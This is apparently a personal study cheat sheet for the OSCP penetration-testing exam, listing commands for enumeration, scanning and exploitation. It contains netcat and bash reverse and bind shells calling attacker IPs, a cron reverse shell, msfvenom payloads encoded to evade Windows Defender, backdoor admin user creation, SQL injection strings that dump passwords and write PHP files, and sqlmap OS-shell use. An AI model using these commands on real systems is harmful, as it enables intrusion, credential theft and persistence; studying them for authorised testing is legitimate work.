OSCP day 3 – Console

Locate

Finding files
locate kim.txt
Update
updatedb
e.g.
locate nc.exe

Which

See manual for which
man which
e.g.
which sbd

find

Manual
man find
Find recursively
find . -name php.ini
e.g.
find ~/ -name kim*
execute after each find
find ~/ -name kim* -exec file {} \;
more e.g.
sudo find /usr -name sbd* -exec file {} \;

Service

Start a service (they are same)
sudo systemctl start apache2
sudo service apache2 start
/etc/init.d/apache2 start

Boot persistence

Start at boot (they are same)
sudo systemctl enable ssh.service
sudo update-rc.d ssh enable
rcconf

grep with regular expression

e.g. (only string)
grep -o '[A-Za-z0-9_\.-]*\.whatsapp.com' index.html
grep -o 'https://[A-Za-z0-9_\.-]*\.whatsapp.com' index.html
e.g. regular expression
grep -e '[A-Za-z0-9_\.-]*\.whatsapp.com' index.html
grep -e 'https://[A-Za-z0-9_\.-]*\.whatsapp.com' index.html

Learn to write a bash script

nano cisco.sh
chmod 755 cisco.sh or chmod +x cisco.sh

#!/bin/bash

for url in $(cat cisco.txt); do
host $url | grep "has address" | cut -d " " -f4
done

Scenario:
Grep all domains with app.com and return IP

#!/bin/bash

for url in $(grep -o '[A-Za-z0-9_\.-]*\.*app.com' index.html | sort -u); do
host $url | grep "has address" | cut -d " " -f4
done

Scenario:
Ping once and return IPs that response to ping

#!/bin/bash

for ip in $(seq 1 254);do
ping -c 1 10.123.38.$ip | grep "bytes from" | cut -d " " -f4 &
done

Netcat (old)

Able to read and write to TCP & UDP
e.g. connect to ssh
nc -nv 10.123.3.11 22

e.g. connect to ftp
nc -nv 10.123.9.11 21

e.g. chatting
Listening: nc -nlvp 4444
Connect back: nc -nv 10.123.3.11

e.g. file transfer
Listener: nc -nvlp 4444 > download.exe
Connect to Listener: nc -nv victim 4444 < /file/to/upload.exe

e.g. bind shell
Listener binding shell (providing cmd): nc -nvlp 4444 -e cmd
Connect to Listener: nc -nv host 4444
e.g. reverse shell (when behind firewall)
From outside (setup listener): nc -lvp 4444
host behind firewall connect out: nc -nv 192.168.32.162 4444 -e cmd

ncat (new)

ncat bind shell
Listener: ncat -lvp 4444 -e cmd --allow 192.168.32.162 --ssl
Connect to Listener: ncat -v 192.168.32.53 4444 --ssl

ncat reverse shell (when behind firewall)
From outside (setup listener): ncat -lvp 4444 --allow 192.168.32.53 --ssl
host behind firewall connect out: ncat -v 192.168.32.162 4444 -e cmd --ssl

Google Search operators

site:
site:”microsoft.com”
site:”microsoft.com” -site:”www.microsoft.com”

filetype:
site:”microsoft.com” filetype:ppt “penetration testing”

intitle:
intitle:”VNC viewer for Java”
intitle:”-N3t” filetype:php undetectable

inurl:
inurl:”/control/userimage.html” camera
inurl:.php? intext:character_sets,collations intitle:phpmyadmin

GHDB (Google Hacking DB)
https://www.exploit-db.com/google-hacking-database

DNS enumeration

ns (nameserver)
host -t ns abc.com

mx
host -t mx abc.com

host
host abc.com

Forward DNS lookup

```
nano forward.sh
chmod +x forward.sh
```

#!/bin/bash

for name in $(cat list.txt);do
host $name.abc.com | grep "has address"
done

Reverse DNS lookup

Find the IP
host sub.abc.com

Loop thru the IP segment e.g. /27 or /28
```
nano reverse.sh
chmod +x reverse.sh
```

#!/bin/bash

for ip in $(seq 1 254); do
host x.x.x.$ip | grep "abc.com"
done

DNS zone transfer

Find the nameservers for the domain
host -t ns abc.com
Attempt transfer
host -l abc.com ns1.abc.com
host -l abc.com ns2.abc.com

#!/bin/bash

for server in $(host -t ns kim.sg | cut -d" " -f4); do
host -l kim.sg $server;
done

Port scanning with nc

nc -nv -w 1 -z 10.123.9.11 1-65535

SYN Scanning

No longer good for modern firewall

UDP Scanning

Unreliable as network devices like routers and firewall may drop

Nmap scanning

Scan a network with /24
sudo nmap -sn 192.168.32.0/24

Save to output
sudo nmap -sn 192.168.32.0/24 -oG ping-sweep-nmap.txt

Scan port 80 from /24 network (it’s not accurate for me)
sudo nmap -p 3389 192.168.32.0/24

Scan top 20 ports
sudo nmap -sT --top-ports 20 192.168.32.0/24

Scan for smb
sudo nmap -p 139,445 192.168.32.11-12 --open

Scan with script
cd /usr/share/nmap/scripts
sudo nmap -v -p 80 --script all 10.123.3.13

nbtscan

netbios scan
sudo nbtscan 192.168.32.0/24
connect via rpcclient
sudo rpcclient -U “” 192.168.32.201
srvinfo
enumdomusers
getdompwinfo

SNMP

Scan for UDP on port 161
sudo nmap -sU -p 161 10.123.31.33

Scan with 161
onesixtyone 10.123.3.1 readonly
onesixtyone 10.123.3.1 community_string

Scan with bruteforce
onesixtyone -c community_string.txt 10.123.3.1

Scan with 161 for multiple hosts
onesixtyone -c community 10.123.3.0/24
onesixtyone -c community -i ips.txt

SNMP WALK v1
snmpwalk -c readonly 10.123.3.1 -v1

SNMP WALK (running program
snmpwalk -c readonly -v1 10.123.3.1 1.3.6.1.2.1.25.4.2.1.2

SNMP WALK (e.g. Cisco)
snmpwalk -c readonly -v1 10.123.3.1 iso.3.6.1.2.1.3.1.1.1

SNMP WALK (e.g.)
snmpwalk -c readonly -v1 10.123.3.1 1.3.6.1.2.x

snmp-check (e.g.)
snmp-check 10.123.3.1 -c readonly

Openvas

Install gvm
sudo apt-get install gvm

Setup
sudo gvm-setup

Start
sudo gvm-start

SCAP database is required
sudo gvm-stop
sudo runuser -u _gvm -- greenbone-feed-sync --rsync
sudo greenbone-scapdata-sync
sudo greenbone-certdata-sync

Update
sudo runuser -u _gvm -- greenbone-nvt-sync
sudo runuser -u _gvm -- greenbone-feed-sync --type SCAP
sudo runuser -u _gvm -- greenbone-feed-sync --type CERT
sudo runuser -u _gvm -- greenbone-feed-sync --type GVMD_DATA
Restart system and try again.

Buffer Overflow (applications)

pestudio
pestudio malware initial assessment winitor.com
OllyDbg
https://www.ollydbg.de/
immunity debugger
https://www.immunityinc.com/products/debugger/

Buffer Overflow

Convert SHELL Code to print (Hex string to text)
printf $(cat fake-payload.txt | tr -d '\n')

Come back later for deeper study

Searchsploit

e.g.
searchsploit slmail

FTP Server (setup on Kali)

Install ftp server
sudo apt-get install pure-ftpd
Setup for new ftp user
sudo groupadd ftpgroup
sudo useradd -g ftpgroup -d /dev/null ftpuser
sudo pure-pw useradd offsec -u ftpuser -d /tmp
sudo pure-pw xyz
cd /etc/pure-ftpd/auth
sudo ln -s ../conf/PureDB 60pdb
sudo chown ftpuser:ftpgroup /tmp
sudo /etc/init.d/pure-ftpd restart

FTP. Run non-interactively (script)

Create ftp.txt containing instruction

C:\Users\User\test>echo open 10.123.3.14 21 > ftp.txt
C:\Users\User\test>echo loginID>> ftp.txt
C:\Users\User\test>echo loginPW>> ftp.txt
C:\Users\User\test>echo GET test.txt >> ftp.txt
C:\Users\User\test>echo bye >> ftp.txt

Execute
ftp -s:ftp.txt

PowerShell

Run PowerShell non-interactively
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File .\test.ps1

Escalation on Linux

Basic OS info
cat /etc/issue
uname -a
Download exploit (Write to a file)
wget -O test.txt ipv4.kim.sg
Compile the exploit
gcc test.txt -o exploit

Check the compiled file
file exploit

Check current user privilege
id testuser

Escalation on Windows

After escalation create new user
net user hacker hacker /add
Add the new user to admin group
net localgroup administrator hacker /add

Windows weak service

icacls (Integrity Control Access Control Lists)
icacls hamful.exe
Replace the vulnerable service executable with hamful.exe

Linux weak service

Find services with admin privileges (execute with low privileged user)
find / -perm -2 ! -type l -ls 2>/dev/null

Similar
find / -perm -2
find / -perm -o=w

Symbolic links (-type l)
find / -perm -2 ! -type l -ls 2>/dev/null

Errors will not be output to console
2>/dev/null

Linux permission

Find directories writable by anyone
sudo find /dir -perm -0002 -type d

Find files writable by anyone
sudo find /dir -perm -0002 -type f
Find files writable symbolic links by anyone
sudo find /dir -perm -0002 -type l

Find both f & d (exclude symbolic links)
sudo find /dir -perm -2 ! -type l -ls

Reverse shell in cron

Setup listener
nc -lvp 443
Reverse shell command in cron
bash -i >& /dev/tcp/10.123.3.12/443 0>&1

Generate payload with msfvenom

Window defender can detect
msfvenom -p windows/adduser USER=attackerkim PASS=Password123 -f c -o adduser.exe --platform Windows -a x86
Bypass detection by encorder
msfvenom -p windows/adduser USER=attackerkim PASS=Password123 --encoder x86/xor_dynamic -f c -o adduser.exe --platform Windows -a x86

Executing log file which was logging the payload
Entering php code on the address bar.

SQL Injection

On login form
```
username' or 1=1;#
```
Enumerate the table column. GET parameter on URL e.g. www.abc.com/comments.php?id=123 order by 6

http://abc.com/comments.php?id=123 order by 6

# Study the result for injected behavior 
php?id=123 or 1=2;#

# Check if sleep function works
php?id=123-sleep(1);

# Check if sleep works
select * from Staff where 1=1 -IF(MID(@@version,1,1)='8', sleep(1), 0);
php?id=123-IF(MID(@@version,1,1)='8', sleep(1), 0);

After knowing the total number of columns use union

http://abc.com/comments.php?id=123 union select 1,2,3;
http://abc.com/comments.php?id=123 union select 1,2,3,@@version;
http://abc.com/comments.php?id=123 union select 1,2,3,user();

.php?id=123 union select 1,2,3,table_name from information_schema.tables;
.php?id=123 union select 1,2,3,column_name from information_schema.columns where table_name='user_summary';
.php?id=123 union select 1,2,3,Login,Password FROM User;

Load host file

#Read a file
http://abc.com/index.php?id=123 union select 1,2,3,load_file("/tmp/test.txt");

#Write a file
http://abc.com/index.php?id=123 union select 1,2,3,"write some text" into OUTFILE '/tmp/k.php';
http://abc.com/index.php?id=123 union select 1,2,3,"<?php malicious();?>" into OUTFILE '/tmp/k.php';

SQL MAP

sqlmap
sqlmap -u http://victim.com --crawl=1

Access to shell
sqlmap -u https://victim.com/customer --dbms=mysql --os-shell --random-agent

Locate

Which

find

Service

Boot persistence

grep with regular expression

Learn to write a bash script

Netcat (old)

ncat (new)

Google Search operators

DNS enumeration

Forward DNS lookup

Reverse DNS lookup

DNS zone transfer

Port scanning with nc

SYN Scanning

UDP Scanning

Nmap scanning

nbtscan

SNMP

Openvas

Buffer Overflow (applications)

Buffer Overflow

Searchsploit

FTP Server (setup on Kali)

FTP. Run non-interactively (script)

PowerShell

Escalation on Linux

Escalation on Windows

Windows weak service

Linux weak service

Linux permission

Reverse shell in cron

Generate payload with msfvenom

SQL Injection

SQL MAP

Leave a Comment Cancel Reply